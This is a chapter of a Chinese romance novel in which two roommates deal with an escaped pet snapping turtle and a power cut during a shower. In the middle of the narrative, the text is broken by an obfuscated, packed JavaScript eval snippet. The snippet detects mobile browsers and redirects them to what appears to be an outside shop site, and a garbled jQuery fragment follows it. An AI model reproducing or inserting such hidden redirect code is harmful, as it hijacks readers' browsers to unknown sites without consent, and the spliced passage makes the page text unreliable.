学术会议结束,等白泠到家的时候,她才发现自己收到了游珩的消息。
两小时前,对方说自己的钥匙在他那里,他在第二会议室等她。
结果那时候她根本没看手机。
夜幕降临,房间角落被灰黑覆盖。
白泠给游珩道谢,又发了个“^_^”的友善表情。发完,白泠才察觉肚子有点饿,她还没来得及吃晚饭。
但在想给自己填肚子的同时,白泠想起来还没给小鳄龟喂东西。
饿自己也不能饿儿子,穷什么也不能穷粮食。
白泠拎着袋龟粮,往卧室角落的养龟盒走去,刚蹲下。
嗯?
她的乌龟呢???
白泠上上下下来来回回地找,把沙盘、爬梯、石头也翻起来看,还是没找到那只绿皮小鳄龟。
手上挂着黏糊的水珠,白泠站起身,边擦手边在自己的房间里搜罗。
书桌、床铺下、衣柜......
没找到。
之前也不是没有乌龟想翻爬出来的情况,但即使它踩着石头也够不着养龟盒的边缘。
估计现在是吃多了,力气大了,翻出来了。
找了近半个小时,白泠在房间里眼睛都快找出花了,没办法,只好扩大搜罗范围,往过道和客厅走去。
所以,等游珩回到家,他就看见一个清瘦的女生半蹲在茶几旁,打着手机闪光灯,侧着头往缝隙里瞧。
“...你找什么?”游珩走近。
白泠抬头,素净的脸旁落下几缕碎发,解释道:“我养了只乌龟,不知道爬哪儿去了。”
她站起身来,拍拍手:“算了。”
找半天找不到,估计也在家里,现在撒欢到处爬,等饿了肯定会自己出现。
白泠简单地跟游珩说了两句,就回卧室了。
-
另一边,游珩半掩着门。他在房间里拿了套换洗衣服,正想去洗澡。
回头,他一眼就看见门边突然出现了只灰绿的爬行动物,拖着细长的尾巴,缓缓往自己的方向爬来。
游珩先是一愣,随即放下衣物。
他散漫地双手环抱,观察了下,深黑眼眸渐渐透出一点了然。
又来?
上次丢个钥匙,被他捡着了,说什么也要请他吃饭。没成功,这回干脆连宠物龟都派上了?
花样还挺多。
游珩迈腿,绕过乌龟,抬手敲了敲对面的门。
白泠开了门,抬睫:“有什么事吗?”
“你的乌龟在我房间里。”游珩言简意赅。
“啊?”白泠有些惊讶,往前跨一步,“怎么去你房间了。”
游珩心说,怎么去的你不清楚吗。
但他没说。毕竟也有那么一种可能吧——这乌龟好好的饲养缸不待,越狱了,然后“迷路”,最后准确地跑他房间来。
游珩看着白泠站在自己房间门口,半弯腰,单手捞起她的宠物龟。那只乌龟看起来不像是花鸟市场卖的普通淡水龟,有着更凌厉的外表。
白泠拎着自己儿子左看右看,颇为满意。
因为最近有想跟游珩搞熟的想法,所以白泠还主动搭话:“它是不是长得挺可爱的?你想摸摸吗?”
游珩:“......”
可爱?这龟长了圈粗壮的脖颈,棱脊环绕着尖锐的鳞片,一身肥美的腱子肉。如果没看错,这还是一只鳄龟,虽然没成年,可成年后的咬合力可以媲美孟加拉虎。
但白泠用手指温和地摸了摸小鳄龟的脑袋,欣赏的表情也不作假。
游珩只能说...她的喜好很特别。
“这乌龟是我以前在小区里那片池塘里捡到的,估计是觉得危险被人放生弃养了,”白泠自顾自地道,“但其实它性格还挺好的,也不咬人。”
游珩听的眼皮轻动。
像鳄龟这种没有天敌的肉食性动物,放生后并非积福,对其他水生动物反而算是噩梦。
“不过我平时也没放它出来,怕它乱跑,也怕吓到误伤别人。”白泠又戳了下鳄龟的肉掌。
游珩神情放松,眉棱微抬,实话道:“挺帅的。”
无论是这鳄龟还是养鳄龟这件事。
“我也觉得。”白泠抬头,表情自然到令人震撼,眼眸明亮,莞尔道:“谢谢你帮我找到它,我找好久了,要不我请你吃个饭吧?”
游珩:“......”
游珩并没有遂白泠的愿。
依旧是拒绝、再说、略过话题三连。
白泠还是一脸呼之欲出的可惜,只好捉拿了越狱的小鳄龟,处置好,再拎着袋泡面到厨房里,准备煮包面,填下肚子。
游珩在卧室里给电量只剩5%的手机插上线,拿了衣物,按原计划去洗澡。
与此同时,厨房里,白泠盯着沸腾的水汽,在袅袅白雾中发呆。
难道是自己还不够友善?
为什么总感觉游珩在刻意回绝她。
还是真如齐梦涵说的那样,因为当年被锁被误会成渣男那事,游珩除了放弃了摄影爱好,甚至...连带着对女生这个群体都不太喜欢?连朋友都没得做的那种?
那麻烦可就大了。
白泠边沉思,边撕开泡面的塑料包装袋,还没将面饼放入锅里,就听见忽然“噔”的一声。
随即是铺天盖地的黑。
只有天然气在轻缓地燃烧,让人想到了高中课外阅读时,某女作家笔下的“小蓝牙齿”。
白泠惊奇地抬头,拿出手机摁亮屏幕,借着微弱的光亮,往阳台上走。
看见荷语庭整座小区都陷入黑暗,四处传来人们窸窸窣窣的惊讶交谈声,白泠这才确定——停电了。
随即又想起,游珩好像还在洗澡。
于是白泠往卫生间的方向去,离门口大约三步的距离,轻唤了声:“游珩?”
里面传来低低的男声,“嗯。”
“好像停电了。”
“噢。”
白泠不知道为什么他这么淡定,犹豫启唇:“那你...还能看得见吗?需要我帮忙吗?”
“可以,不用了。”
可以个屁。
游珩死鸭子嘴硬,卫生间在房屋布局的正中间,四周连一丁点儿零星的光都透不进来,他也没带手机,只能在黑灯瞎火里摸来摸去。
关键是他还顶着满头满身的泡沫。
更关键的是,他刚刚发现热水也断供了。
游珩:“......”
白泠完全不知道游珩的挣扎,她想起自己房间里还有盏台灯。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992631|193788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于是游珩摸了会儿黑,想干脆绝望地用冷水速战速决,却发现门口处出现了突兀的光源。
忽然而至的,像把银白的斧斤,给黑夜劈开一道鲜亮的口子。
白泠将台灯往地上一搁,顺带抬眼,刚想叩门解释,却看见一具高大的男性身体,透过模糊的磨砂玻璃,投射到平整的瓷墙上,仿佛某种古老朦胧的皮影戏。
宽肩长腿,肌理明晰,妥妥的男菩萨。
......
白泠脸颊蓦地发烫——其实,在她眼里,游珩可以是不熟的室友,可以是略熟的朋友,也可以是她有所歉疚需要弥补的对象等等。
但白泠现在突然清醒地意识到:游珩首先是个男的,其次两人是异性。
最后他现在在洗澡,隔了扇门、脱光了的那种。
难得的,白泠竟口吃了下:“我,我先出去看看,问下物业什么时候来电...要还有什么需要帮忙的,你再叫我。”
说罢,她逃也似地迈腿走开了,泡面也没煮。
游珩听出了女生话里的不自然,实际上他也没自然到哪去......动作沉滞几秒,他再次拧开水流,用手捋了把脸,透明水珠从睫毛处高高坠落。
借着薄光,游珩草率地、甚至有种莫名痛快心理地洗了个冷水澡。等整理好出了浴室,他才发现房屋里安静的落针可闻。
门口一隅立了只孤零零的台灯。
仿佛刚才充斥着尴尬、奇怪的氛围全然不在。
游珩用毛巾擦着头发,感受着衣物跟皮肤服帖后升腾上来的温度。
正思考着怎么处理这台灯,拿走还是就地搁,就听见大门被人从外拉开。
身形纤瘦的女生手里擎了支晃动的蜡烛,如豆的烛火渐渐照亮房屋,将家具笼上一层蜜黄色泽。
白泠走近,还在努力阔别脑海里那场美男沐浴的皮影戏。她尽全力地正常,拿着蜡烛向游珩说明情况:“...物业说今晚可能来不了电,得等明天了,就给我发了这个。”
“噢。”游珩说,毛巾挂在脖颈。
词穷。
“嗯。”
白泠也词穷。
词穷二人组你看我我看你,没说话。
空气里蔓延着淡淡柠檬的味道,裹着凉雾,像是春天清浅的呼吸。
“那...”白泠舔了舔唇,“蜡烛给你?”
游珩说:“谢谢。”
“不客气。”
礼貌二人组交换着灯火。白泠将蜡烛递过,游珩也弯腰拾起台灯还她。
正交换着,倏地,指尖轻碰。
两人都顿了下。
那种触感很奇怪,明明温度是冰凉的,却也是烫人的。
烛火在夜里乱晃。
一男一女近距离的身影在墙上成像。
两人视线在夜里交织对撞,又同频错开。
“......”
交换完,白泠先回了房间。
游珩也合上门,落座,看了眼没充上多少电的手机。偏头,又望向那盏落下黏糊烛泪的蜡烛,沉默无言。
晚风温煦。
窗外一树纯白的洋槐爆出米粒般的嫩芽,枝叶抽长,旁逸斜出。
而游珩在这个春夜里,重重地打了个喷嚏。
他预感着:感冒要变重了。